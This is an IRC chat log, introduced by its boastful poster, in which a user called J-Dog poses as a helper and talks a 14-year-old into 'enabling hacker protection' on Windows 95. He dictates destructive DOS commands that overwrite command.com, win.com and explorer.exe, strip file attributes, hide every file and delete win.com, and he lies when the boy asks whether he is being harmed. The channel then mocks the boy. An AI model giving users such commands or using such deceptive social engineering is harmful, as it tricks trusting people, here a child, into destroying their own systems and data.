OK, for those of you who have no clue who NoFXBoy is, he is an annoying lil yapping 14 yo kid who says
that he is "superleet" cuz he has winnuke... he has been annoying us in IRC for about 3 weeks and I finally
got sick of it and went to work... *evil grin* here is the log of how things transpired..

Ya, I know I am an asshole and I could have just /kb ed him but hey, I was bored and if he is stupid enough to
trust someone who last week was callin him lame and now mysteriously wants to be his best friend, well, he gets
whatever he got. If you are offended by this, then go away, don't post to me to tell me how much of an asshole I
am, I know that I am a HUGE asshole, but I am happy with myself...
Latez
JD

*disclaimer*: I did EXACTALLY what I said I would do for him, I told him I would enable hacker protection, well,
             in the words of punkis "if he can't boot, he can't be hacked"

   [03:45pm] <=> NoFXBoY  NoFxBoY@host-209-214-178-11.chs.bellsouth.net  has joined
   [03:47pm] <J-Dog> so, NoFX.. you ever get into Cert.Org?
   [03:47pm] <NoFXBoY> no 
   [03:47pm] <NoFXBoY> i just got home
   [03:47pm] <J-Dog> you try anymore?
   [03:47pm] <_NuC> who hasnt?
   [03:48pm] <NoFXBoY> i havent today
   [03:48pm] <NoFXBoY> or last night
   [03:48pm] <J-Dog> ya I know NuC.. everyone r3wtz cert.org.. it is like some rite of passage or somethin =)
   [03:48pm] <NoFXBoY> i will in a little while
   [03:48pm] <J-Dog> NoFX.. have you heard of Caroline Meinel?
   [03:48pm] <NoFXBoY> nah
   [03:48pm] <J-Dog> she would be a good lady to teach you
   [03:48pm] <J-Dog> she has l33t skillz
   [03:48pm] <BlueFlux> carolyn...
   [03:48pm] <_NuC> exactly... just like the skill tests when you wanted to join a gang when you were 13...
   [03:48pm] <NoFXBoY> really
   [03:48pm] <_NuC> no big deal
   [03:48pm] <NoFXBoY> she one irc?
   [03:48pm] <J-Dog> nope goto www.happyhacker.org
   [03:49pm] <_NuC> ph33r carolyn
   [03:49pm] <NoFXBoY> happyhacker ehhe
   [03:49pm] <J-Dog> ask to join her mailing list
   [03:49pm] <J-Dog> we all are on it...
   [03:49pm] <J-Dog> it r0x0rs 
   [03:49pm] NoFXBoY is a happpylittlehacker
   [03:49pm] <_NuC> man she taught me how to change my win95 box into a hacker tool i swear
   [03:49pm] <J-Dog> yap.. she showed me the power of 001tv emulation
   [03:50pm] <_NuC> NO WAY!!@#$ she wanted to teach me too
   [03:50pm] <_NuC> bah
   [03:51pm] <BlueFlux> bbiaf
   [03:51pm] <J-Dog> NoFX.. you should checkout he book... filled with kewl things... like how to automatically hack ppl who make you mad... =)
   [03:51pm] <NoFXBoY> im at the page
   [03:51pm] <NoFXBoY> eheh
   [03:52pm] _NuC hits the movies - bbl
   [03:52pm] <J-Dog> I bet you didn't know that win95 had built in hacker protetion did ya?
   [03:52pm] <NoFXBoY> no
   [03:52pm] <NoFXBoY> hey cool
   [03:52pm] <NoFXBoY> that guy
   [03:52pm] <NoFXBoY> in the bak round of the cover of the book
   [03:52pm] <NoFXBoY> has a misfits t shirt
   [03:53pm] <J-Dog> ya.. that is broncbuster... he iz l33t0 too.. he writes mad mailbombers
   [03:53pm] <NoFXBoY> where do i typt this?
   [03:53pm] <J-Dog> yap.. the misfits are kewl... we all listen to them =)
   [03:53pm] <J-Dog> NoFX.. you have to buy the book to find out... we promised caroline we wouldn't tell
   [03:53pm] <_NuC> later doods
   [03:54pm] <J-Dog> bye NuC... he is prolly going to read her book some more too
   [03:54pm] <NoFXBoY> k
   [03:54pm] <NoFXBoY> is there a way to get ot for free?
   [03:54pm] <NoFXBoY> like txt form
   [03:54pm] <_NuC> we cant have enuff hacker protection, JD, can we now
   [03:54pm] <_NuC> it really is worth da money man
   [03:54pm] <J-Dog> that is pirating and that is wrong NoFX...
   [03:55pm] Spikeman  is away: (Auto-Away after 10 mins) [BX-MsgLog On]
   [03:55pm] <J-Dog> you have to buy the book...
   [03:55pm] <J-Dog> it is kewl..
   [03:55pm] <_NuC> okay I'm really gone now
   [03:55pm] _NuC is away - rereading chapters 4 and 6
   [03:56pm] <NoFXBoY> it justs gets mailed?
   [03:56pm] <J-Dog> ya..
   [03:56pm] <J-Dog> I would mail her and tell her that "The dc-stuff guys sent me"
   [03:56pm] <J-Dog> then she'll be real nice.. we all love her
   [03:56pm] <J-Dog> she is like a mom to us
   [03:57pm] <J-Dog> ;)
   [03:57pm] <J-Dog> NoFX... you really want that hacker protection?
   [03:57pm] <NoFXBoY> mom...
   [03:57pm] <J-Dog> I'll tell you since noone is here now
   [03:57pm] <NoFXBoY> ya
   [03:57pm] <NoFXBoY> ill order
   [03:57pm] <NoFXBoY> it
   [03:57pm] <NoFXBoY> i can see it now
   [03:58pm] <NoFXBoY> my dad will be like
   [03:58pm] toast_  (running over yugos and shit) [BX-MsgLog On]
   [03:58pm] <NoFXBoY> heer ya go son knock that gay ass school off there feet
   [03:58pm] <J-Dog> heh
   [03:58pm] <J-Dog> ok nofx.. you want me to tell ya how to enable that hacker protection?
   [03:59pm] <NoFXBoY> ya
   [03:59pm] <J-Dog> since noone is here and everyone is gone.. I'll tell you, but don't tell anyone I told ya cuz I don't want to get into troubel from them...
   [03:59pm] <NoFXBoY> im also gonna do that BG thing on start up for windoze
   [03:59pm] <NoFXBoY> k
   [03:59pm] <NoFXBoY> im not
   [03:59pm] <J-Dog> ok launch msdos
   [03:59pm] <NoFXBoY> k hold
   [03:59pm] <J-Dog> k
   [03:59pm] <NoFXBoY> k 
   [04:00pm] <NoFXBoY> is open
   [04:00pm] <J-Dog> now type "pwd" and tell me what it says
   [04:00pm] <NoFXBoY> bad command or file name
   [04:00pm] <NoFXBoY> eheh
   [04:00pm] <NoFXBoY> wat dive C:
   [04:00pm] <J-Dog> hmm ok kewl
   [04:00pm] <NoFXBoY> in windows dir?
   [04:00pm] <J-Dog> now type this
   [04:00pm] <J-Dog> ready?
   [04:01pm] <NoFXBoY> ...
   [04:01pm] <J-Dog> type: ECHO "HACKER PROTECTION ON" >> C:\command.com
   [04:01pm] <J-Dog> just like that
   [04:02pm] <J-Dog> you do it yet?
   [04:02pm] <NoFXBoY> ya
   [04:02pm] <J-Dog> if you did it right it should just not say anything to you...
   [04:02pm] <J-Dog> ok kewl..
   [04:02pm] <NoFXBoY> it did
   [04:02pm] <NoFXBoY> it werked
   [04:02pm] <NoFXBoY> nothign kame bak
   [04:02pm] <J-Dog> now type cd \windows
   [04:02pm] <NoFXBoY> k
   [04:03pm] <d0ver> 52 [bop-pill] shipley> ECHO "HACKER PROTECTION ON" >> C:\command.com
   [04:03pm] <d0ver> C:command.com: No such file or directory.
   [04:03pm] <d0ver> 53 [bop-pill] shipley> cd \windows
   [04:03pm] <d0ver> windows: No such file or directory.
   [04:03pm] <NoFXBoY> k
   [04:03pm] <NoFXBoY> i did
   [04:03pm] <J-Dog> then type
   [04:03pm] <NoFXBoY> ...
   [04:03pm] <J-Dog> type: ECHO "HACKER PROTECTION ON" >> win.com
   [04:04pm] <NoFXBoY> k
   [04:04pm] <J-Dog> then if you did it right you should just see a C:\windows> again
   [04:04pm] <J-Dog> no error messages right?
   [04:04pm] <NoFXBoY> IT WERKED
   [04:04pm] <J-Dog> KEWL
   [04:04pm] <J-Dog> ok one more modification
   [04:04pm] <J-Dog> you ready?
   [04:05pm] <J-Dog> type
   [04:05pm] <NoFXBoY> ya
   [04:05pm] <J-Dog> ECHO "HACKER PROTECTION ON" > explorer.exe
   [04:05pm] <=> SignOff: fireforge  #dc-stuff irc-w.primenet.com *.uci.edu
   [04:06pm] <J-Dog> ok
   [04:06pm] <J-Dog> that work?
   [04:06pm] <NoFXBoY> k hold
   [04:06pm] <J-Dog> ok
   [04:06pm] <d0ver> type: ECHO "HACKER PROTECTION ON" >> win.com
   [04:06pm] <d0ver> win.com: No such file or directory.
   [04:06pm] <NoFXBoY> only one >
   [04:06pm] <NoFXBoY> or >>
   [04:06pm] <d0ver> 55 [bop-pill] shipley> ECHO "HACKER PROTECTION ON" > explorer.exe
   [04:06pm] <d0ver> ECHO: Command not found.
   [04:06pm] <J-Dog> only one >
   [04:07pm] <NoFXBoY> hold on
   [04:07pm] <J-Dog> ok
   [04:08pm] <J-Dog> tell me when you're done
   [04:08pm] <NoFXBoY> sai file creation error
   [04:08pm] <NoFXBoY> for
   [04:08pm] <BlueFlux> hehe...
   [04:08pm] <J-Dog> ok kewl
   [04:08pm] <NoFXBoY> ECHO "HACKER PROTECTION ON" > explorer.exe
   [04:08pm] <J-Dog> that's what it is supposed to say
   [04:08pm] <J-Dog> =)
   [04:08pm] <NoFXBoY> k
   [04:08pm] <J-Dog> ok now jsut reboot and then come back
   [04:09pm] <J-Dog> you should have the hacker protection on
   [04:09pm] <J-Dog> =)
   [04:09pm] <NoFXBoY> k hold
   [04:09pm] <J-Dog> and remember don't tell anyone... =)
   [04:09pm] <BlueFlux> nofx... 'c:' then 'cd \windows\'
   [04:09pm] <NoFXBoY> dude im not
   [04:09pm] <NoFXBoY> whats that mean
   [04:09pm] <NoFXBoY> ?
   [04:09pm] <J-Dog> cuz I could get into trouble for tellin ya.. =)
   [04:09pm] <NoFXBoY> im gonna get me that book
   [04:09pm] <NoFXBoY> later
   [04:09pm] <NoFXBoY> bb in 5 seconds
   [04:09pm] <=> SignOff: NoFXBoY  (I wanna see the constitution burn, wanna watch the white house over turn, wanna witness so)
   [04:10pm] <J-Dog> hahhahhahahhahhahahahashhahahahahhahhah
   [04:10pm] <Spikeman> haaaaaaaaaaaaaaaaaaaaaaaaaaa
   [04:10pm] <BlueFlux> ROFL
   [04:10pm] <J-Dog> omigod!!!
   [04:10pm] <J-Dog> I have never seen someone so stoopid
   [04:10pm] <J-Dog> hahhahah
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   [04:10pm] <d0ver> I hopo *SOMEONE* scripted that...
   [04:10pm] <BlueFlux> jd....THAT was cruel, ya know...
   [04:10pm] <J-Dog> BRB I GOTTA mail this to da list!!!!!!!
   [04:10pm] <J-Dog> hehe
   [04:10pm] <J-Dog> yap I have that log =)
   [04:10pm] <J-Dog> heheheh
   [04:10pm] <J-Dog> bwhahahhahhahahahhhhah
   [04:10pm] <BlueFlux> i logd it...
   [04:11pm] <BlueFlux> hhmmm....rape sex on tv...
   [04:11pm] <d0ver> sorry for cutting in,  I did not realised he was beleaving you...
   [04:11pm] <J-Dog> yap
   [04:11pm] <J-Dog> he was caught
   [04:12pm] <J-Dog> hook line and sinker
   [04:12pm] <J-Dog> hehe
   [04:12pm] <J-Dog> np pete =)
   [04:12pm] <d0ver> *** CTCP VERSION reply from NoFXBoY: ircN 6.02 + 6.0 for mIRC
   [04:12pm] <J-Dog> we have been having him telnet to cert.org and ietf.org
   [04:12pm] <=> NoFXBoY  NoFxBoY@host-209-214-178-20.chs.bellsouth.net  has joined
   [04:12pm] <J-Dog> you're back?
   [04:12pm] <J-Dog> did it work?
   [04:13pm] <J-Dog> =)
   [04:13pm] <NoFXBoY> k im bak
   [04:13pm] <NoFXBoY> it rebooted
   [04:13pm] <J-Dog> that was a fast reboot... =)
   [04:13pm] <NoFXBoY> well 
   [04:13pm] <J-Dog> no you have to reboot the WHOLE computer...
   [04:13pm] <NoFXBoY> i dont have shit on my harddrive
   [04:13pm] <J-Dog> not just mirc
   [04:13pm] <NoFXBoY> i went
   [04:13pm] <NoFXBoY> shut down
   [04:13pm] <NoFXBoY> restart the 
   [04:13pm] <NoFXBoY> cpu
   [04:13pm] <J-Dog> ya and what happened?
   [04:13pm] <NoFXBoY> i swear toy ou i did
   [04:13pm] <J-Dog> did soemthing go wrong?
   [04:14pm] <NoFXBoY> took me to windows
   [04:14pm] <NoFXBoY> no errors 
   [04:14pm] <J-Dog> hmmm... ok kewl
   [04:14pm] <NoFXBoY> was there supposed to ?
   [04:14pm] <J-Dog> now we only have one more modification fer ya
   [04:14pm] <NoFXBoY> dude
   [04:14pm] <J-Dog> nope you have to modify those file
   [04:14pm] <J-Dog> then reboot
   [04:14pm] <J-Dog> then modify one more file
   [04:14pm] <NoFXBoY> yer not trying to like fuck my cpu up?
   [04:14pm] <J-Dog> then you are set,,,
   [04:14pm] <J-Dog> WHAT???
   [04:14pm] <NoFXBoY> im trusting you have some morals
   [04:14pm] <NoFXBoY> and better things to do
   [04:14pm] <NoFXBoY> than to fuck up a 14 year olds comp
   [04:15pm] <NoFXBoY> i trust you
   [04:15pm] <J-Dog> noway man.. I have the highest morals... and if I wanted to hurt you I could... I am just in a good mood...
   [04:15pm] <NoFXBoY> i no you could
   [04:15pm] <J-Dog> d0ver: ya in a minute... just let me finish up with NoFX
   [04:15pm] <NoFXBoY> k
   [04:15pm] <NoFXBoY> any ways
   [04:15pm] <J-Dog> ok you ready for the last thing NoFX
   [04:15pm] <NoFXBoY> ya
   [04:15pm] <d0ver> NoFXBoY: I normaly Hire J-Dog for my kernel builds
   [04:15pm] <J-Dog> drop to a command prompt
   [04:16pm] <NoFXBoY> opening ms dos hold
   [04:16pm] <J-Dog> ok
   [04:16pm] <NoFXBoY> i have a clear c:
   [04:16pm] <NoFXBoY> what now?
   [04:16pm] <J-Dog> ok type cd \windows
   [04:16pm] <NoFXBoY> k
   [04:16pm] <J-Dog> now this part is tricky so we might have to do a few things
   [04:16pm] <NoFXBoY> k
   [04:17pm] <J-Dog> now what does it say?
   [04:17pm] <NoFXBoY> just windows
   [04:17pm] <NoFXBoY> c:\windows
   [04:18pm] <NoFXBoY> ...
   [04:19pm] <J-Dog> ok now type: ECHO "Protect me" > win.com
   [04:19pm] <J-Dog> you there?
   [04:19pm] <NoFXBoY> I TYPED IT
   [04:20pm] <J-Dog> ok now this part is VERY important
   [04:20pm] <NoFXBoY> it said nothing bak cept windows
   [04:20pm] <J-Dog> type cd \
   [04:20pm] <NoFXBoY> shit you know
   [04:20pm] <NoFXBoY> k
   [04:20pm] <J-Dog> ok kewl
   [04:20pm] <J-Dog> now what does it say?
   [04:20pm] <NoFXBoY> i tyep clear dir
   [04:20pm] <J-Dog> it should say C:\>
   [04:20pm] <NoFXBoY> c:\
   [04:20pm] <NoFXBoY> ya
   [04:21pm] <J-Dog> ok now type: attrib -r command.com 
   [04:21pm] <NoFXBoY> k
   [04:21pm] <NoFXBoY> i typed it
   [04:21pm] <NoFXBoY> it sez
   [04:21pm] <NoFXBoY> c:\>
   [04:22pm] <J-Dog> ok now type: ECHO "PROTECTION ON" >command.com
   [04:22pm] <J-Dog> only 1 >
   [04:22pm] <NoFXBoY> K
   [04:22pm] <NoFXBoY> I TYPED IT
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   [04:22pm] NoFXBoY is goin shopping for his HD tonight
   [04:22pm] <J-Dog> now type: ECHO "PROTECTION ON" >boot.ini
   [04:22pm] <NoFXBoY> any ways
   [04:22pm] <NoFXBoY> k
   [04:23pm] <J-Dog> kewl.. when you get your new HD you won't need to do this again cuz it will be protected
   [04:23pm] <NoFXBoY> YER SETTING IT TO BOOT UP ON START UP?
   [04:23pm] <J-Dog> yapyap
   [04:23pm] <J-Dog> you are learnin
   [04:23pm] J0ker is away, bbl [log:ON] [page:ON] [email:not-set-yet]
=> [04:23pm] <J-Dog> I am setting it to turn protection on when you bootup =)
   [04:23pm] <NoFXBoY> ACTUALLY i no a little C++ and it looks a little like it
   [04:24pm] <J-Dog> kewl
   [04:24pm] <NoFXBoY> what do you mean> <J-Dog> kewl.. when you get your new HD you won't need to do this again cuz it will be protected
   [04:24pm] <J-Dog> ok now type: attrib +h * /s
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   [04:24pm] <J-Dog> oh wait
   [04:24pm] <NoFXBoY> k
   [04:24pm] <J-Dog> not yet
   [04:24pm] <NoFXBoY> k
   [04:24pm] <J-Dog> don't type it yet
   [04:24pm] <NoFXBoY> i didnt
   [04:24pm] <J-Dog> ok 
   [04:24pm] <J-Dog> good
   [04:25pm] <J-Dog> you have to type: attrib -r -s -h msdos.sys
   [04:25pm] <NoFXBoY> k i typed it
   [04:26pm] <J-Dog> ok now type: attrib -r -h -s command.com
   [04:26pm] <J-Dog> you do that?
   [04:27pm] J-Dog is looking back in the book to see if he is doing it right..... yep... so far so good
   [04:27pm] <NoFXBoY> hold
   [04:27pm] <J-Dog> ok
   [04:28pm] <NoFXBoY> i typed it
   [04:28pm] <J-Dog> kewl
   [04:28pm] <=> riotmind is now known as mindriot
   [04:28pm] <J-Dog> ok you ready?
   [04:28pm] <J-Dog> just a few more steps
   [04:28pm] NoFXBoY has kept a log of every thing you said to type so i can do it on my new HD
   [04:28pm] <NoFXBoY> ya
   [04:29pm] <NoFXBoY> ...
   [04:29pm] <J-Dog> type: ECHO "HACKER PROTECTION ON" >COMMAND.COM
   [04:29pm] <J-Dog> tell me when you are ready for the next command
   [04:29pm] <NoFXBoY> K
   [04:29pm] <NoFXBoY> READY
   [04:29pm] <J-Dog> ok
   [04:30pm] <J-Dog> now type: type command.com
   [04:30pm] <J-Dog> don't type command.com
   [04:30pm] <NoFXBoY> K
   [04:30pm] <J-Dog> type "type command.com"
   [04:30pm] <NoFXBoY> I DIDNT
   [04:30pm] <NoFXBoY> OH
   [04:30pm] <J-Dog> without the quotes
   [04:30pm] <NoFXBoY> K
   [04:30pm] <J-Dog> tell me what it says
   [04:31pm] <NoFXBoY> HACKER PROTECTION ON!
   [04:31pm] <J-Dog> is that all it says?
   [04:31pm] <NoFXBoY> YA
   [04:31pm] <NoFXBoY> EEH
   [04:31pm] <J-Dog> kewl
   [04:31pm] <NoFXBoY> thats it?
   [04:31pm] <J-Dog> ok so.. you ready for the last step?
   [04:31pm] <NoFXBoY> damn i need this book
   [04:31pm] <NoFXBoY> k
   [04:31pm] <J-Dog> ya w/o the book it is hard
   [04:31pm] <NoFXBoY> ready
   [04:32pm] <J-Dog> ok so.. you ready for the last step?
   [04:32pm] <J-Dog> ok... type: attrib +h * /s
   [04:32pm] <NoFXBoY> ya
   [04:33pm] <J-Dog> that one will say some stuff about not resetting system files
   [04:33pm] <J-Dog> that is what you want.. =)
   [04:33pm] <J-Dog> tell me when it is done
   [04:33pm] <J-Dog> it will take a few.. it is converting win95 to the new hacker protection on version =)
   [04:33pm] <NoFXBoY> shareing violation read drive c:
   [04:33pm] <J-Dog> OH... damn... ok you have sharing protection on
   [04:34pm] <J-Dog> ok we have to do this the hard way
   [04:34pm] <NoFXBoY> eheh
   [04:34pm] <J-Dog> ok type cd /windows
   [04:34pm] <NoFXBoY> k
   [04:34pm] <NoFXBoY> first
   [04:34pm] <NoFXBoY> fail abort retry?
   [04:34pm] <J-Dog> ya?
   [04:34pm] <NoFXBoY> fail
   [04:34pm] <J-Dog> abort
   [04:34pm] <NoFXBoY> k
   [04:34pm] <NoFXBoY> k
   [04:34pm] <NoFXBoY> i did it
   [04:34pm] <J-Dog> then type cd /windows
   [04:35pm] <J-Dog> tell me what it says
   [04:35pm] <NoFXBoY> c:\windows
   [04:35pm] <J-Dog> ok now type "del win.com"
   [04:35pm] <NoFXBoY> k
   [04:35pm] <NoFXBoY> deleting?
   [04:36pm] <J-Dog> that will delete your old windows command file and it will recreate it when it reboots
   [04:36pm] <J-Dog> ya
   [04:36pm] <J-Dog> that is delete
   [04:36pm] <NoFXBoY> w/ quotes?
   [04:36pm] <J-Dog> w/o quotes
   [04:36pm] <NoFXBoY> k
   [04:36pm] <NoFXBoY> k
   [04:36pm] <NoFXBoY> i did it
   [04:36pm] <J-Dog> ok now reboot
   [04:36pm] <J-Dog> =)
   [04:36pm] <=> SignOff: mindriot  NickServ Upgrade Service
   [04:36pm] <NoFXBoY> k hold
   [04:36pm] <=> SignOff: NoFXBoY (I wanna see the constitution burn, wanna watch the white house over turn, wanna witness so)